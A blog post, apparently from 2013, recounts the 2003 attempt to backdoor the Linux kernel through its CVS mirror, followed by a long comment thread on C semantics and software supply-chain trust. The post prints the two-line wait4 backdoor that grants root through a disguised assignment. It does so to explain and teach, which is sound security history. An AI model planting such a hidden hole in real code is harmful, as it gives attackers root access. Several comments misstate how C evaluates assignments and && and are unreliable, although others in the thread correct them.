Josh wrote recently about a serious security bug that appeared in Debian Linux back in 2006, and whether it was really a backdoor inserted by the NSA. (He concluded that it probably was not.)
Today I want to write about another incident, in 2003, in which someone tried to backdoor the Linux kernel. This one was definitely an attempt to insert a backdoor. But we don’t know who it was that made the attempt—and we probably never will.
Back in 2003 Linux used a system called BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. Every change to the master code would come with a short explanation, which always included a pointer to the record of its approval.
But some people didn’t like BitKeeper, so a second copy of the source code was kept so that developers could get the code via another code system called CVS. The CVS copy of the code was a direct clone of the primary BitKeeper copy.
But on Nov. 5, 2003, Larry McVoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in (electronically) to the CVS server and inserted this change.
What did the change do? This is where it gets really interesting. The change modified the code of a Linux function called wait4, which a program could use to wait for something to happen. Specifically, it added these two lines of code:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
[Exercise for readers who know the C programming language: What is unusual about this code? Answer appears below.]
A casual reading by an expert would interpret this as innocuous error-checking code to make wait4 return an error code when wait4 was called in a certain way that was forbidden by the documentation. But a really careful expert reader would notice that, near the end of the first line, it said “= 0” rather than “== 0”. The normal thing to write in code like this is “== 0”, which tests whether the user ID of the currently running code (current->uid) is equal to zero, without modifying the user ID. But what actually appears is “= 0”, which has the effect of setting the user ID to zero.
Setting the user ID to zero is a problem because user ID number zero is the “root” user, which is allowed to do absolutely anything it wants—to access all data, change the behavior of all code, and to compromise entirely the security of all parts of the system. So the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words … it’s a classic backdoor.
This is a very clever piece of work. It looks like innocuous error checking, but it’s really a back door. And it was slipped into the code outside the normal approval process, to avoid any possibility that the approval process would notice what was up.
But the attempt didn’t work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. Score one for Linux.
Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack. Unless somebody confesses, or a smoking-gun document turns up, we’ll never know.
[Post edited (2013-10-09) to correct the spelling of Larry McVoy’s name.]
It’s definitely a back door. Any unit test you would write to test it would fail. retval never gets set to -EINVAL, even if it did, the next line of code retval = -ECHILD; would change it.
I every time used to read article in news papers but now as I am
a user of net so from now I am using net for posts, thanks to web.
Wow to read the number of posts on this topic is quite entertaining. My own perspective:
I never learned C; but so many languages over the years I should have been able to decipher the problem without the explanation. Although I haven’t been coding for about 5 or 6 years so I didn’t catch the actual problem that was so obvious. I did catch that the user ID being “0” would be “root” and knowing this was a “back door” was some type of elevated privileges. Not knowing the variables I didn’t quite see how it played out despite the fact that == is correctly used at the beginning and = is correctly used upon true condition of the if statement. Should have been obvious that the = in the if statement was an assignment despite not knowing C; based on the line below it.
So many different languages, as soon as I began reading the explanation and was reminded of the assignment statement it was obvious that the assignment was simply for the purpose of gaining root privileges if certain conditions were met in malicious code. But I still wondered the result of the assignment below the if statement.
However, I found the noob question and all the varied answers quite entertaining and only reminded me yet again why there are so many mistakes because each language has its own unique conventions. In some languages == means [is congruent as] or [is equal to] or [is the very same as]. Slight subtle differences that make major differences in how they are used depending on the specific language and variable type.
Same problem with = sometimes it means [assigns right value to left value] or [is equal to]. In the case of the languages that assigns the value as at least one person presumed and many people corrected (and me not knowing C) I would have also presumed that setting UID to 0 would return a value of “true” for the if statement upon a successful completion of the assignment. I am sure there are at least three languages this is the case. However, many people corrected that in C the returned value is simply the assigned value which at 0 would interpret as false.
I would have presumed that “retval = -EINVAL” would have been called and wonder exactly what that would do. But apparently it would never have been touched in C. No matter either; what concerns me more however, is lack of checks, not on the code but in the elevation of user privileges. And perhaps I feel this way because I have learned other languages besides C that grant me a THIRD perspective despite the Boolean operation of the if statement.
While I have learned so many languages over the years I can’t remember which are which but I am sure some return “true” or “1” upon successful completion of assignment; “false” or “0” upon unsuccessful completion of assignment or “null” on an error; and a “null” in an if statement should kick a fatal exception error of some sort. Thus with three actual possibilities to what would normally be a Boolean operation.
I would fully expect that the statement “current->uid = 0” to return either “null” or an error itself regardless of what that does to the “if” statement in question.
Now granted this was introduced into the kernel itself which would obviously at times need to grant root access to running applications. But it doesn’t particularly inspire great confidence in the Linux kernel that any routine in the kernel can successfully assign the current user ID to “root.” Why would it automatically make that assignment without some other checks in place. Especially if the routine (wait4 in this case) is nothing more than an API call available to any application running over the kernel.
The arguments of purposeful backdoor or coding error aside (and I have made that type of error many a times); I am more worried about the ease of assignment of root privileges. Shouldn’t the variable “uid” for any running application be very protected within the kernel? It shouldn’t be able to be changed at a whim even by just any call to kernel level routines. At least that is my opinion. Again from the perspective of Boolean operations do not need to be Boolean in fact; and the idea that some variable should not be accessible to most routines even within the kernel itself. But, then again I admit to one thing, I don’t code operating systems; so maybe it’s not possible to protect certain variables at that level?
I think it is more about the kernel being assumed to be safe. Adding verification would be a bit of effort, probably mainly changing the instances of assignment and comparison to method calls. The set method being available only to trusted functions. I don’t think it is necessary however. It’s like having a roommate and nit giving them keys. Don’t give your keys to visitors, but the roommate ought to be able to unlock things as needed.
… and that’s why people invented static code analysis: To give you warnings for this kind of stuff (in this case: assignment while comparison is expected)
other questions for consideration:
– Why is “Cyber” considered the 5th domain of warfare?
– not just a bunch of geeks, but a quite high command organization in the US military structure under StratCOM (Strategic command) – http://en.wikipedia.org/wiki/Unified_Combatant_Command
– domains 1 – 4 of warfare: land, sea, air, space.. cyber is considered so powerful as to be considered able to fundamentally change the nature of warfare as these original 4 did as they evolved over history
– Given its considered strategic importance, what methods would be employed to enable this 5th domain of warfare?
– I work at . And I see published vulnerabilities and what they are in our software and other people’s software.. operating system and application level, in closed source systems and applications, and I ask myself… – – “how would that get there?”
-“who benefits from it, if it was malicious?”
– “Who has the level of resources to take long term malicious actions to implant and manufacture the vulnerabilities to then exploit? …
– ” “What are the top software application in terms of installed base, any category?
– “Top OS installed base, any category?”
– “How does this correlate with discovered and published security vulnerability rate and severity?”
*I* would focus on it like a special action group from the NBC WMD days: insert who is not what they appear to be into places that they have trusted access, to get information out and put things in place inside, for future use, in the places I want, to achieve my goals
in an age of the 5th domain of warfare… don’t the same methods of politics, economics, intelligence and warfare still work also?
How does one create trusted systems in an environment where NIST goes back on previous crypto recommendations, after it is revealed that NSA weakened aspects of the crypto? http://spectrum.ieee.org/telecom/security/can-you-trust-nist
Doesn’t everything need to be
1) public
2) fully disclosed as far as algorithms, source code and analysis/results of [secure coding audits|vulnerability scans|penetration tests|developer identities (with privacy protections for the devs, full data held in escrow)|statistics of vulnerabilities]
3) tracked as to identity of developer?
so, I think the time is right now to discuss what I think is needed in the long run for all software development, but particularly open source:
– a system which validates and uniquely identifies all developers who submit code to participating projects (with some identity attributes perhaps held at a trusted clearing house, like a certificate authority, but not generally publicly available to the world at large)
Why is this needed? Just accept it… in the age of a successful Aurora Test (see youtube, http://youtu.be/fJyWngDco3g , search engines for “Aurora test”)
Consider instead evidence .
– Stuxnet
– Duqu
– Flame etc
– DHS, S&T directorate, Supply Chain Hygiene is a practice and program area. It encompasses lots of things such as biologicals and poisoned food stuffs, but also including areas like counterfeit and subverted components in computer systems and software
– NIST – SP 800-53 rev4, consider all the added things in there around supply chain of software and hardware for infrastructure supporting US civilian government IT. There is a *lot* in this ~500 page document around trusted source of development of code and trustworthiness of developer of software.
– Years of allegations and some noise and publicity of undisclosed evidence of ZTE and Huawei equipment being subverted for Chinese government purposes, from the factory
– Bans for many years now on Lenovo hardware use by US, UK and Australian intelligence community
So, consider the motivations at work to drive .govvies to write all this into requirements at length in NIST SP 800-53 rev4. Why?
– NIST is staffed with smart people. Physicists. Engineers. Why go to the trouble to write these extensive requirements and make it expensive to deliver IT services within the govt as well as for external service providers to deliver services meeting these requirements to the US govt (as these are requirements of FEDRAMP, the compliance framework for “cloud” and other services to govt (I think any external service to got could and will be classified as “cloud computing” nowadays)? In the current environment with debt ceiling and similar political arguments, can you imagine the internal pressure to reduce costs? How can requirements which massively increase costs survive?
A: there is broad evidence of these sorts of threats from other nations as well as wide-enough spread internal knowledge among approving management approving these requirements documents that these same methods are how the US Govt and their people (DoE-managed evil geniuses at work in the National Labs, among other places) are able to deliver results such as Stuxnet for the US Govt against our geopolitical friends, enemies and otherwise innocent bystanders.
(in the age of NSA disclosures, is there such a thing as “friend” between nations? Was there ever? Aren’t ‘friends’ just potential future enemies, someone to monitor in case an election or coup goes sideways for you (see Iran, Egypt, Greece, France, Italy, Indonesia, etc)
For OSS to remain viable and actually completely prove that the bazaar is better than the pyramid/cathedral model, a system for trusted development is required.
needed features (incomplete list):
– public validation of the source developer of code insertion into OSS projects
– trusted and irrefutable ID of said developer, with a multi-way trust system for validating identity of the developer prior to admission and acceptance of code submissions
– long term tracking of every change across the OSS world for
– what the change
– identity of the change submission tracked back to a validated developer identity
– long term tracking and association of developer code submissions to later discovered security vulnerabilities and “bugs”
– PUBLIC SCOREBOARD of security bug score of every developer (their career “batting average”) which allows statistical discovery by data analysis of who and where software development supply chain threats are originating, and statistical exposure of the subverters. You can’t hide from data analysis.
This is the public speaking of a thought I have had for quite some time, since starting to look at emerging US government requirements… the NSA disclosures just reinforced my opinions.
“But the attempt didn’t work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. Score one for Linux.”
Um, the Linux devs didn’t notice this. It was found as part of the validation process when exporting the tree from BK to CVS.
Source: I’m the guy who found the problem.
@Larry McVoy – Great catch 😀
Yes, Larry, great catch indeed! I suppose I should have said that the Linux *community* (rather than “team”) caught it. I did call you out by name as the person who noticed the bogus patch.
Indeed very interesting — thanks for telling the story!
Minor correction: “Larry McVoy” (not “McAvoy”).
Clearly, it was the ac1db1tch3z http://www.phrack.org/issues.html?issue=64&id=15&mode=txt 😛
It’s funny how many times I’ve seen this particular backdoor discussed, and it’s funny that every single conversation has devolved into a debate about the merits of Yoda comparison… aren’t you all forgetting the point?
If a developer doesn’t adhere to Yoda comparison, the only thing that’s gonna find that is StyleCop. Just because you use Yoda comparison, doesn’t mean the next developer does, and unless this is checked for by the code reviewer prior to check-in, it could just as easily slip under the wire. So just because you all (for example) want to use Yoda comparison, but I want to sneak something like this in under the radar, do you think I’m going to use Yoda comparison? Unlikely…
The point of discussion isn’t if the technique should be used or not, it’s the fact that this technique got used and appears to have been used with malicious intent.
Ben I haven’t seen this particular backdoor discussed; so I am glad it devolved into the debate about the merits of “Yoda comparison.”
I never even thought of that before, but I have always admired the wisdom of Yoda and the reversal of parts of speech tend to make one think more clearly about what is being said. To see that used as a analogy to reversing the order of variable comparison from conventional way of thinking in coding does the same; it makes one think more clearly about what is being typed. I see a great value in this.
Having learned so many different languages with different syntax I have made similar mistakes so often it is not funny. Because some languages = is ONLY a comparison; and yet other languages = is an assignment; and still others it is both but depends on where it is used. So, I now put that into my head (certainly was not taught to think that way in any of my coding classes–though I haven’t attended a class since 2001) to use swap my comparisons for my own benefit to avoid errors.
Regardless if or if not the use of such would stop any others from introducing back doors 🙂 I am glad that people brought it up in the discussion so I can become a better coder regardless of which language I happen to be coding in.
Wouldn’t the compiler warn you about this? I only wrote a little bit of C but I remember the compiler warning me about this.
Today, most compilers would issue a warning. A long time ago, it was less common.
Back before the good days of GCC?
GCC has warned on assignments in conditionals for a long time, but even today GCC (and, I think, CLANG) does not issue a warning if you put the assignment inside parenthesis, which are not syntactically required for either assignment or comparison.
A devious person would set the __WCLONE or __WALL options to true before running the wait4 method. Unless on of these options are true, the rest of the expression is not executed. Also guessing that the options are not in use so that only a hacker that knew about the backdoor would create a program that could use it.
this is php, but yes, it does set it to 1 (you can try it yourself via cmd line):
php -r ‘$foo = 0; if($foo = 1) {} echo $foo;’
1
@noob: This is C, where pointers make scope more complicated than today’s world of garbage collection. Read up on pointers.
The fact that a pointer is used to access the uid is irrelevant to the question. He should read up on “how conditions are evaluated in C”, or just assignments or really just C in general. That and practice writing a lot of C code.
@noob: If works on a Boolean value. To get it the given expression is evaluated. Normally the expression is comparison between two values. But in this case it’s an assignment of a value to a variable somewhere and the result of the assignment Success or Not is fed to the If().
You can just as well put a whole function in there, and all the code in the function will get executed to produce a single value in the end – True or False.
Hope this kinda helps.
Maybe i’m a noob (actually, I definitely am), but how could it possibly set the uid to root (0) if it’s nested in an if-statement? does the mere appearance of the assignment lead to a change in the var, even if it’s just in an if statement?
Essentially yes.
Even if it is in an if-statement the code is executed.
Consider something like this:
if(foo->bar()) { /*do_sth*/ }
You would expect that foo->bar() is executed and returns some value that is used for the if-statement.
Same goes for the assignment. By the way, an assignment returns the value that is assigned.
Assignment is an expression, so that you can do things like x = y = 1 to set x and y to the same value. And any expression is valid in an if statement.
unsigned int result = 0;
if ((result = checkStatus()) >= 1) {
signalError();
}
return result;
See here for an explanation:
http://stackoverflow.com/questions/151850/why-would-you-use-an-assignment-in-a-condition
A peculiarity of most c-like languages. It’s not the mere appearance, but the condition part in if statement is evaluated. First the (options == (__WCLONE|__WALL)) part is checked and if it only resolves to true then the part that comes after && is evaluated. In c, an assignment is also an expression (with the value of the right hand side of the =) perfectly ok within a condition part. In this example it will resolve to 0, which means the whole condition will fail so only the condition part is executed, not the statement part.
If (var = 0) will always be true and will set var to 0.
No it will not always be true, especially not if var is of type const.
It won’t compile if var is const.
That’s the whole idea behind putting constants (literal or otherwise) on the left.
Actually, the expression “var = 0” returns the value assigned (this makes the syntax “var1 = var2 = 0” possible), which in this case is 0.
This makes the expression always false.
(var = 0) will always be false since it returns the value that was assigned and 0 is equivalent to false.
It is not true, as it returns 0 (the value of the assignment) and 0 is interpreted as false. This condition fails, even though var gets set to 0 (except in cases like Jonny suggested).
I stand corrected… and I recall this bug totally screwing me over in the past. I just tested this now in VS 2008.
int main()
{
int n = 99;
if (n = 1)
{
printf(“true”);
}
else
{
printf(“false”);
}
if (n = 0)
{
printf(“true”);
}
else
{
printf(“false”);
}
return 0;
}
In the first block, n gets set to 1 and “true” is printed. In the second block n gets set to 0 and “false” is printed.
Always fun to have coder discussions! 🙂
@noob,
Code is executed inside an if(), I know that normally you think of if() as a check and not something that executes but it’s what allows you to do something like this:
//JS
var testFunc = function(){ return 1; };
if(testFunc() == 1)
{
…
}
instead of having to do something like this:
//JS
var testFunc = function(){ return 1; };
var result = testFunc();
if(result == 1)
{
…
}
Some time people will even do something like this
//JS
var testFunc = function(){ if(something) return 1; return false; };
if(a = testFunc())
{
//use ‘a’ in here
}
which allows them to make code look a little cleaner (This is obviously all opinion) by containing the definition of ‘a’ into the check to see if you even need to use ‘a’. I guess it would also help in the case that you wanted to remove the above if() you can just delete the whole block and you don’t still have an ‘a’ floating around that isn’t used (Of course you could just delete the definition line at the same time you delete the if block).
The conditions get evaluated when the if statement is executed no matter if the result is true or false. So it is set to zero whilst the if statement is performing it’s equality checks.
An if statement is just a function, you can do anything in it, assignment operator also return a value if the assignment worked properly, so if you test i = 0 in an if statement, the assignment would return true if it worked.
So yes, a value assignment would work in it. in this particular case, the if statement use the && operator, in c and c++ it would check for options == (__WCLONE|__WALL) first, then, if this is already true, their is no need to test for the second statement.
So, all the attacker had to do to execute the second statement was to ensure that the first test was false, it’s briefly explained in the text that normally when calling wait4 the option variable would match __WCLONE or __WALL, but if you use a malformed call to wait4 where option isn’t fulfilling the first statement then the second will.
Then uid will be set to 0 then the = operator will return true and the program calling wait4 will continue but with as root.
There are a large number of errors in this description, perhaps they are deliberate and the parent is trolling?
The && operator works the opposite of what you are saying, you are describing the || operator. You make this mistake twice, but at least you are consistent. If the left side of the && is false, the right side is not evaluated, because there is no reason to, the whole thing can’t be true.
If you test i=0 in an if statement it will return false, since the value of an assignment is what was assigned.
If the options part of the test is false, the second part of the && would not be evaluated. If you thought the && was ||, both of your statements would be correct, though. To get the second half of an || to evaluate, you have to have the first half false, because if the first half is true there’s no need to check the second half.
What would really happen is if the options == (__WCLONE|__WALL) evaluated to true, then the second half would execute, assigning 0 to the uid, and making the && evaluate to false. You would never get to the retval = -EINVAL; statement, because the second half of the && is always going to evaluate to zero, which is false.
Before you make any other comments on something like this, please run some test code in a debugger.
I’m really thinking you must be a troll to be so consistently incorrect.
An if statement is just a function, you can do anything in it, assignment operator also return a value if the assignment worked properly, so if you test i = 0 in an if statement, the assignment would return true if it worked.
So yes, a value assignment would work in it. in this particular case, the if statement use the && operator, in c and c++ it would check for options == (__WCLONE|__WALL) first, then, if this is already true, their is no need to test for the second statement.
So, all the attacker had to do to execute the second statement was to ensure that the first test was false, it’s briefly explained in the text that normally when calling wait4 the option variable would match __WCLONE or __WALL, but if you use a malformed call to wait4 where option isn’t fulfilling the first statement then the second will.
Then uid will be set to 0 then the = operator will return true and the program calling wait4 will continue but with as root.
this code is to handle calling wait4 in a way that was supposed to be invalid so no one stumbles upon it in regular use. it says IF it is call this particular way, give me root.
Of course it does. If statements just evaluate expressions, and this expression happens to set the uid equal to 0.
yes that is the case – in many many languages.
you can do anything you like in the part that is determining true and false.. The variable has scope outside of the if.
Such practice is very old school and is generally not recommended now as it is confusing.
Infact as comment above its recommended to do bool comparisons backwards … ie 0 == fred because 0=fred will give a compile error if types mismatch.
Any statement in the guard of an if statement will be executed & it’s result examined to decide which branch of the if to follow. Eg, you can call a function inside an if:
if(is_the_world_pink()) { do_pink_things(); } else { do_blue_things(); }
or any more complicated piece of C.
An assignment has the value assigned as its result. So “i=3” has the value 3. This lets you do things like i=j=k=1; to set three variables to the same value. (Because this parses as i=(j=(k=1))) and the rvalues all fall out correctly.)
An unfortunately side effect of this is that “if (i=3) {} else {}” is perfectly valid C. The compiler evaluates i=3 in order to get the rvalue of the statement (3), setting i to the value 3 as a side effect in the process. Most compilers will warn about this usage these days as it’s probably an error 999 times out of a 1000. However if you put extra brackets around the statement (as in the code sneaked into the kernel CVS above) then that suppresses the warning.
Right, it’s called a side-effect! It’s like the difference between these:
If ( are you root? ) then do this
If ( you are root! ) then do this
The second one isn’t really a question, since it always give the same answer: “yup!” It’s a good trick to hide in plain sight.
Doesn’t matter if the assignment is within an ‘if’ condition. Anything can be used as a conditional, as long as it’s syntactically valid. The assignment will still be evaluated.
I’m confused by your “mere appearance of the assignment” statement. If it appears, then it’s there. The C compiler makes no assumption on the intent of your “if” statements. (As in, you INTEND for it to only check a condition vs make an assignment.)
Yes, in C the expression “x = 0” evaluates to 0, but performs the variable assignment as a side effect. That is, the assignment happens whenever the assignment expression is evaluated. There’s another wrinkle that isn’t because of the “if”, exactly, but rather because of the && logical “and” operator. The part on the right of the && is only evaluated if the part on the left turns out to be true. This is called short-circuit evaluation and it takes some getting used to in the presence of expressions that have side effects.
C shortcuts the conditionals, so in this code the part after && will only run if the part before && evaluates to true.
noob, in C, = means assignment, it doesn’t matter if it’s in an if statement. if(uid=0) evaluates to true for the purposes of the if statement (the assignment was successful) and uid now has a value of 0.
A coding style rule can be using:
(0==foo) instead of (foo==0).
If there is a typing mistake 0=foo should not pass tests. if you really want foo=0, everyone will notice the change.
Librement
sure. if you’re Yoda, you can use 0 == foo.
A co-worker of mine even uses “0 != foo” syntax, even though I pointed out a few times that it serves no purpose whatsoever 🙂 I guess some people just like these inversions.
I think your co-worker has the right idea.
Makes it easier if you ever need to change the condition to “==”. Less stuff to change/move around and it prevents accidentally changing the operator to just “=”, as the reverse order will cause the compiler to complain in case of accidental assignment, as stated above.
That’s exactly what I suggested, but Vador was here before Yoda…
Yoda wise he is
Except when to compare two variables he needs. Then, order his operands he cannot, and mistakes he will now make.
Actually, if you never use > or >= your code becomes easier to read. The smaller thing always comes first. Especially helpful when you’re comparing time ranges, like “is now after start but before start+timeout?”
Plauger taught me that one.
Typing in an assignment (foo = 0) rather than the comparison you intended (foo == 0) is a fairly common error that you will likely see every now and then in hastily written code. Fortunately it’s also the kind of error you would be likely to recognize and correct very soon, say when re-reading your code after catching up on sleep.
What makes this interesting is the backstory that somebody apparently broke into the server in order to introduce this rather nasty bug.
The fact that someone broke into the server to insert this bug meant that they likely had the wherewithal to understand the difference between =0 and ==0. These two facts in concert make this look far more incriminating than a basic bug caused by programming on not enough sleep.
But this could also just as easily be sloppy programming from a trusted developer that had credentials allowing them to commit code to CVS without going through the predefined approval process. You know, like developers with admin access to the source repo, who write code on a fork, issue a pull request to central and then log into central and complete the pull request without any peer review being completed. I’ve seen this happen many times, deadlines loom, everything goes to shit, people do what they need to in order to get things done; it’s 4am, you’re running on 2 hours sleep from the night before, nothing you can think of does what you need, corners get cut and discipline goes out of the window to get shit out of the door on time.
Don’t discount a lack of discipline where it could feasibly be possible. Unless you know *their* specific CVS process and setup inside out, it’s difficult to hypothesize the actual reason this could have happened – though granted, it certainly looks highly suspicious. I certainly wouldn’t expect this kind of behaviour from trusted kernel developers… but having been in the real world for many years now, I’ve also learned to trust that even with the best of intentions and the tightest discipline, not everything always goes down the way you plan it.
Do we definitively have evidence that the server must have been breached in order to do this? Or was this merely a breach of process and some sloppy code, which is an almost daily occurrence in software houses around the world?
The CVS tree was never used to push changes to Linus’ BK tree. The cracker was hoping that a trusted developer using CVS would pull a clone of Linus’ BK tree (receiving the backdoor in the process) and then submit patches via email to Linus containing the backdoor as part of a patch set containing other changes unknowingly.
Many developers refused to use BitKeeper since it is a closed source program. Linus solved that problem by writing git.
Point of order: Linus only wrote git AFTER the owner of BitKeeper revoked his license, not BECAUSE people complained about it being closed source. (And the incident proved the closed-source naysayers to be correct.)
https://lwn.net/Articles/130746/
this is not a mistake.
Assume that the coder meant == 0 what is he trying to enforce. If these 2 bits (_WCLONE and _WALL) are set and your are root then the call is invalid. The bit combination is harmless (setting WALL implies WCLONE, its like saying “get all babies and all girl babies”), and why would you forbid it for root only. Plus the test looks for exactly those flags being set, not those flags along with some other flags like WNOHANG….
Finally if it was a coder with rights somebody would have fessed up by now
Assuming they weren’t a plant from the outset? Not trying to be a conspiracy theorist… though that would be an NSA play, they’re in it for the long game, that’s why they got in on the ground floor with the development of the NIST standards. You obviously can’t beat open source, it’s open source, so the only way to get something in is to try and sneak it in. The only way you can do that is either be someone that’s trusted or use someone that’s trusted…
Of course, I’m just playing devil’s advocate on both sides of this fence. I agree it seems suspicious, but at the same time, many things can seem suspicious under a certain set of circumstances and be completely run of the mill in another.
My inner conspiracy theorist is screaming that this was a plot to subvert Linux security…. but the realist in me that works with large teams of well trusted, talented developers that frequently find themselves in situations where all discipline goes out of the window and stuff like this happens all the time.
@BenAlabaster, the idea that the NSA (or any of the ludicrous, staffed-by-second-raters security-theatre alphagetti) is “in it for the long game” is naive in the extreme.
Entry level are badly paid GS5s (~$45k a year) – of whom the talented ones leave on or before the second anniversary of their sign-on: above that, the entire ‘intelligence’ world is staffed by triangulators and ‘yes-men’ (and women, I s’pose) – and that psychotype does NOT have long forward horizons.
It’s all about the ability of bureaucracies to ‘fail their way to bigger budgets’ – they dont bear the costs of their failures directly (failure has zero career impact – think of Clapper getting caught outright lying to Congress recently). And if you’re working in ‘national security’, you can always say “Oh, there are things we did that I can’t tell you about… all very hush-hush, you see. But we did a while bunch of smart stuff. Duqu? That was totally us. Stuxnet? Yeah, that was us too.
So incentive structures simply do not reward horizons longer than a few months (the average time of a case officer on most projects).
It’s a bit like the answer to the questions “Why was Apple’s fingerprint ID so easy to crack? And why was the ‘fix’ patch also so easy to crack?”. Answer: Apple does not bear even a miniscule proportion of the total cost of poor infosec in its iDreck – the USER bears the bulk (recovery from Apple would be a pipe-dream in any jurisdiction). So Apple has no incentive to pay the necessary premium to get genuinely talented coders to work in its barbed-wire-fenced garden: it can make do with journeyman plodders.
And so it is with the security-theatre institutions – staffed at the very top with political appointees (the ULTIMATE yes-men), and at senior bureaucratic levels with… well… professional bureaucrats.And at the bottom, it’s Dumb and Dumber (e.g., TSA, police forces and the military, where an IQ above 120 would rule you out as a candidate – and in the TSA, a GED would probably do so too).
If bureaucracy was remotely efficient, then Microsludge’s bloated operating system would be more secure than Linux: the bazaar beats the pyramid every time. And the ‘intelligence’ world is the ultimate in unaccountable bureaucracy.
And as to ‘results’: they also are strong evidence against the ‘long game’ notion – can you name one single issue of genuine geopolitical importance (go back to the founding of OSS if you like) where the intelligence fraternity got it right?
They had NO IDEA Russia was about to test a nuke in 1949; NO IDEA the Chinese were about to test in 1964 (ditto India, Pakistan… rince and repeat); NO IDEA that US involvement in VietNam was a waste of resources that would end badly; NO IDEA that funding the mujaheddin would lead to adverse consequences; NO IDEA that East Germany could implode within six weeks; NO IDEA that the Soviet Union could do likewise – and we can progress this litany of failure right through to 9/11, Bali, London, Iraq, Afghanistan, and the recent Boston bombing.
By asserting that somehow these clowns (and they are clowns) have some superior insight and longer working horizons than the common man, is selling the common man short – most of the security-theatre’s manpower is made up of second-rate dummies whose horizon consists solely of getting a good personnel report so that they can try to arbitrage across to a higher-paid job at State.
Almost 20 years ago I was involved in teaching a graduate course that included folks from JWAC (the CIA’s Joint Warfare Analysis Centre). The course sought to teach the methodology of computable general equilibrium computer modelling. The folks that JWAC sent to be trained were nice enough, but they were nowhere near the sharpest knives in the drawer: they weren’t even top decile among the course candidates.
This statement confuses me:
“You obviously can’t beat open source, it’s open source, so the only way to get something in is to try and sneak it in. The only way you can do that is either be someone that’s trusted or use someone that’s trusted…”
To me, the whole philosophy of open source is that anyone can try to sneak anything they want into the code. But because it is open source you have thousands of eyes reviewing the code and it is unlikely that anything that gets snuck in will not be detected and rejected.
It is in closed source code where all you need to do is corrupt one trusted programmer working on the code and you can run roughshod over the whole system. If you assume that the definition of trusted means that people trust them ie they don’t look too hard at somebody’s work to detect deliberate back doors, then their back doors are unlikely to be detected. Very few people have the ability to look at the code and those that do won’t detect the backdoors because they don’t have the time or the inclination to look really hard for them.
This is the inherent flaw in closed source. It requires you to trust everything to a multinational corporation and further trust that each and every one of their employees is uncorruptable. Human nature being what it is, that’s not a very good bet.
BTW: Of course, good closed source systems will have people specifically looking for back doors. I’m sure many closed source programs are quite secure, but I am talking about the philosophical differences between closed and open source.
@Doug
Sorry I wasn’t clearer, that was my point – thousands of eyes reviewing the source code certainly makes it safer than proprietary software. Even if you do have appointed personnel scouring the code for security flaws and back doors, you can always be legally compelled to provide them.
With open source software it’s not so easy – you can’t legally compel a whole community to let something under the radar, nor can you compel them all to keep quiet… well, you could try I suppose, but I doubt they’d all lay down silently like good little sheep – especially not loud-mouths like Torvalds and Stallman, nor the masses they influence. This is exactly the reason I’m in the process of making the switch from Windows to Linux at home and exactly why I will be leaning towards open source platforms and technologies for future projects
…even though they’re a considerably larger pain in the ass than the far easier to configure and use than proprietary systems.
A common error yes, but not for a kernel developer.
In addition, parentheses were not required for the final comparison. This was done to prevent compiler warnings. This looks deliberate.
It’s deliberate. No doubt. I understand all the “worked for 3 days no sleep deadline mistakes are made” whining, but this really doesn’t look that way to me due to the nature of the “error”. Just think for a sec, a kernel expert (who else would write this and inject it) accidentally sets uid to zero? Really? Who the fuck would believe that? Like, no one?
I’ve done lots of really queer things with my fingers, but I’d never screw that pooch., not even on a phone using that itty bitty screen and that itty bitty keyboard. Those things suck, and I make mistakes all the time using them, but not that kind of mistake.
Think about it. The best example I can give is to frame it in the form of a question regarding “type” and “kind”, that being: Would you mistakenly try the big assed plastic keys the baby dropped because he didn’t want them any more for your house keys, even if you hadn’t slept in three days?
No. You wouldn’t. Why? because they are the wrong kind. I could understand not being able to find the silver one amongst all the brass keys because it’s dark and they are all the same type, but you’d never mistake the baby’s keys for your own because they are the wrong kind.
QED: It didn’t happen.
The parentheses around the last bit absolutely are required because assignment has a lower precedence than && which means that the code would attempt to assign 0 to a non l-value. This is an error in C.
The parentheses would not be required if the == operator had been used, but people often put in redundant parentheses anyway to make it explicit how the precedence goes. So this could have been finger trouble – using = instead of == is an old and well known way of screwing up in C. This is why you sometimes see things like 0 == foo inside if statements.
The smoking gun is how the code actually got into the CVS repository. The CVS repository was supposed to be an automated copy of the Bitkeeper repository. This code was somehow inserted after syncing Bitkeeper to CVS and so can only have been done maliciously.
if (you_are_a_C_programmer)
{ /* then you are going to write If( 0==foo and NOT If( foo==0 */
/* unless you want to set foo equal to zero,– as follows: */
foo=0; }